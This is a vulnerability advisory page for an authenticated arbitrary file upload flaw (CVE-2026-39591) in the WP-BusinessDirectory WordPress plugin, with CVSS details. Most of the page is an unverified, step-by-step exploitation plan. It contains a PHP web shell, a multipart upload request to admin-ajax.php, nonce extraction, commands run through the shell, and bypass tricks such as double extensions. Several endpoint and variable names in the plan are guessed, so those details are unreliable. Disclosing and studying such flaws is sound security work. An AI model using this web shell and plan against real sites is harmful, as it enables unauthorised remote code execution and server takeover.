CVE-2026-39591

WP-BusinessDirectory – Business directory plugin for WordPress <= 4.0.0 - Authenticated (Subscriber+) Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.0.1
Patched in
8d
Time to patch

Description

The WP-BusinessDirectory – Business directory plugin for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 4.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.0.0
PublishedApril 8, 2026
Last updatedApril 15, 2026
Affected pluginwp-businessdirectory

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This research plan outlines the steps to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-39591) in the **WP-BusinessDirectory** plugin. --- ### 1. Vulnerability Summary The **WP-BusinessDirectory** plugin (versions <= 4.0.0) contains a vulnerability where it fa…

Show full research plan

This research plan outlines the steps to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-39591) in the WP-BusinessDirectory plugin.


1. Vulnerability Summary

The WP-BusinessDirectory plugin (versions <= 4.0.0) contains a vulnerability where it fails to validate file extensions and MIME types during file uploads. While the vulnerability is "authenticated," it only requires Subscriber-level permissions. The flaw typically resides in AJAX handlers responsible for uploading listing images, logos, or attachments. Because the plugin does not use wp_check_filetype() or a restrictive whitelist before moving the uploaded file to the webroot, an attacker can upload a .php file to achieve Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: Likely wp_business_directory_upload_file, wpbd_upload_image, or wp_business_directory_ajax_upload (inferred).
  • HTTP Method: POST (Multipart/form-data)
  • Payload Parameter: A file parameter (e.g., file, async-upload, or logo_image).
  • Authentication: Authenticated (Subscriber or higher).
  • Preconditions: The attacker must have a valid account and, in some cases, a valid nonce associated with the listing submission or profile editing process.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action via add_action('wp_ajax_...').
  2. Handler Execution: The handler function is called.
  3. Missing Validation: The handler accesses $_FILES. It may check if the file exists but fails to verify the extension against a whitelist or use wp_handle_upload() with proper overrides.
  4. File Placement: The code uses move_uploaded_file() or a custom wrapper to save the file into wp-content/uploads/wp-businessdirectory/ (or a similar subdirectory).
  5. Path Disclosure: The AJAX response often returns the URL or local path of the uploaded file.

4. Nonce Acquisition Strategy

To bypass CSRF protections (nonces) often required by admin-ajax.php handlers, follow these steps:

  1. Identify the Form: Find the page where users submit or edit directory listings. This is usually a page containing a shortcode like [wp_business_directory_add_listing] or [wpbd-submit].
  2. Locate Script Data: The plugin likely localizes a nonce for its AJAX uploads.
  3. Extraction Procedure:
    • Create a page with the submission shortcode:
      wp post create --post_type=page --post_status=publish --post_title="Submit Listing" --post_content='[wp_business_directory_add_listing]' (Note: Verify the exact shortcode name in the plugin source).
    • Login as a Subscriber and navigate to this page.
    • Use browser_eval to extract the nonce from the global JavaScript object:
      browser_eval("window.wpbd_ajax?.nonce || window.wp_business_directory_vars?.upload_nonce") (inferred variable names).

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a Subscriber user to obtain valid session cookies.

Step 2: Identification of Upload Action

Search the plugin files for the AJAX registration:
grep -rn "wp_ajax_" wp-content/plugins/wp-businessdirectory/
Look specifically for handlers that process $_FILES.

Step 3: Crafting the Payload

Create a simple PHP web shell named exploit.php:

<?php echo "VULN_CHECK: " . phpversion(); system($_GET['cmd']); ?>

Step 4: Execution of the Upload

Send a multipart POST request to admin-ajax.php.

Request Template:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: multipart/form-data
    • Cookie: [Subscriber Cookies]
  • Body (Multipart):
    • action: [IDENTIFIED_AJAX_ACTION]
    • _wpnonce: [EXTRACTED_NONCE]
    • file: exploit.php (Content: <?php system($_GET['cmd']); ?>)

Step 5: Locate Uploaded File

If the response is JSON, check for url, path, or attachment_id. If not, files are typically stored in:
/wp-content/uploads/wp-businessdirectory/[YEAR]/[MONTH]/exploit.php
or
/wp-content/plugins/wp-businessdirectory/uploads/exploit.php

6. Test Data Setup

  1. Install Plugin: Ensure wp-businessdirectory version <= 4.0.0 is active.
  2. Create User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Find/Create Listing Page: Search for the "Add Listing" shortcode in the plugin's README or code, then create a page for it to trigger the script enqueuing.

7. Expected Results

  • The server response should return a 200 OK and ideally a JSON object indicating a successful upload.
  • Accessing the uploaded file URL (e.g., /wp-content/uploads/.../exploit.php?cmd=id) should execute the system command and return the output (e.g., uid=33(www-data)).

8. Verification Steps

  1. HTTP Check: http_request("GET", "http://<target>/wp-content/uploads/.../exploit.php?cmd=whoami")
  2. Filesystem Check: Use wp_cli to confirm the file exists:
    wp eval "echo file_exists(wp_upload_dir()['basedir'] . '/wp-businessdirectory/exploit.php') ? 'Found' : 'Missing';"
  3. Cleanup: wp eval "unlink(wp_upload_dir()['basedir'] . '/wp-businessdirectory/exploit.php');"

9. Alternative Approaches

  • No Nonce: If check_ajax_referer is missing or the action is -1, attempt the upload without a nonce.
  • Parameter Polling: If the file parameter name is unknown, try common names: async-upload, upload_file, qqfile, or file_upload.
  • Double Extensions: If there is basic client-side validation, try exploit.php.jpg or exploit.php.png to see if the server fails to strip the trailing extension.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-BusinessDirectory plugin for WordPress (<= 4.0.0) is vulnerable to authenticated arbitrary file uploads due to a lack of file type and extension validation in its AJAX handlers. This vulnerability allows authenticated users, such as Subscribers, to upload malicious PHP files to the server and achieve remote code execution (RCE).

Exploit Outline

1. Authenticate to the WordPress site with Subscriber-level permissions or higher. 2. Navigate to a page where directory listings can be submitted or edited (e.g., a page with the [wp_business_directory_add_listing] shortcode) to extract a valid AJAX nonce and identify the upload parameters from the source code or JavaScript environment. 3. Construct a multipart/form-data POST request to /wp-admin/admin-ajax.php using the identified action (such as 'wp_business_directory_upload_file') and the extracted nonce. 4. Include a malicious PHP file in the request payload (e.g., shell.php). 5. Execute the payload by navigating to the file's uploaded path, which is typically returned in the AJAX response or stored within the wp-content/uploads/ directory.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.